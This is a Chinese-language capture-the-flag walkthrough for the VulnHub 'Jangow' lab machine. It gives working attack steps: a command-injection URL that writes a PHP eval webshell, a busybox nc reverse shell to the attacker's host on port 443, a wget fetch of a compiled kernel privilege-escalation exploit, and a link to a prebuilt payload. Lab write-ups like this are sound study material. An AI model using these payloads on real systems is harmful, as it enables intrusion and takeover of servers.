环境准备：
靶机下载地址：
https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova
kali地址：192.168.144.128
靶机（jangow）地址：192.168.144.180
一.信息收集
1.主机探测
使用arp-scan进行主机探测：
arp-scan -l
发现主机的IP地址为192.168.144.180
如果有探测不到靶机地址的可以看一下这篇文章：
https://blog.csdn.net/m0_59768231/article/details/144748713
1.1.端口扫描
nmap -p 1-65535 -A 192.168.144.180
发现只有21和80端口开启了服务。
二.漏洞探测
我们先访问一下web界面：
site点进去发现是个UmbracoCMS。
每个功能都点一下，发现再点击Buscar时出现了一个参数，很有问题，尝试命令注入，发现有回显。
三.漏洞利用
3.上传一句话木马：
既然可以命令注入，就先上传一个马子，看看效果：
[http://192.168.144.180/site/busque.php?buscar=echo '<?php @eval(_POST\['hack'\]);?\>' \> 1.php](http://192.168.144.180/site/busque.php?buscar=echo%20_POST['%20rel= "http://192.168.144.180/site/busque.php?buscar=echo '<?php @eval($_POST['hack']);?>' > 1.php")
上传成功,使用蚁剑连一下：
没有问题，既然是靶机，咱们在去尝试一下反弹shell的方式进行连接
3.1反弹shell
使用nc -help 发现没有回显，可能靶机上没有装nc。
但是我在翻阅一下资料的时候，发现了Busybox这个工具，里面会有nc工具的安装。我们在进行尝试，发现Busybox工具存在，nc也存在。
Busybox的介绍：
Busybox是一个开源的、轻量级的软件工具集合，旨在提供一个精简的Unix工具集，适用于嵌入式系统和资源受限的环境。它将许多常用的Unix工具（如ls、cp、cat、mv、grep、find、telnet、nc等）合并为一个可执行文件，从而减少了系统的存储空间和资源占用。
当我们使用了nc反弹shell的时候，kali那边监听一直都没有shell的返回，那么就有可能这台机器没有出网,但是不出网的概率很小。
我尝试一下80和443这两个常用的Web端口：
80端口也是不可以，在试一下443端口
有返回的数据，说明443端口是开放的。
那么我们就可以使用nc进行反弹shell了
http://192.168.144.180/site/busque.php?buscar=busybox%20nc%20192.168.144.128%20443%20-e%20/bin/bash
成功拿到了shell
想要进行全交互式的shell，请看下面的连接：
反弹shell升级全交互式shell_linux反弹shell 变成可交互式-CSDN博客
python3 -c 'import pty;pty.spawn("/bin/bash")'; #开启一个半交互式的 Bash shell
在/home/jangow01/user.txt中找到flag。
四.内核提权
查看内核版本：
uname -a;lsb_release -a
内核版本为：4.4.0-31
发行版本为：Ubuntu16.04
查找内核漏洞
searchsploit ubuntu 16.04
把45015.c给复制下来
searchsploit -m 45010.c
编译一下：
gcc 45010.c -o 45010
上传到靶机：
192.168.144.180/site/busque.php?buscar=wget http://192.168.144.128:443/45010
可以看到靶机的请求，上传成功
给45010加上执行权限并运行：
chmod +x 45010
提权成功。
补充：不要在蚁剑的终端中运行，要在反弹shell里面运行。如果运行报错(GLIBC_2.34 not found)可以使用我编译后的payload：
链接: https://pan.baidu.com/s/1eM01n-EkE2cNT-MRfmkGWQ?pwd=pbz9 提取码: pbz9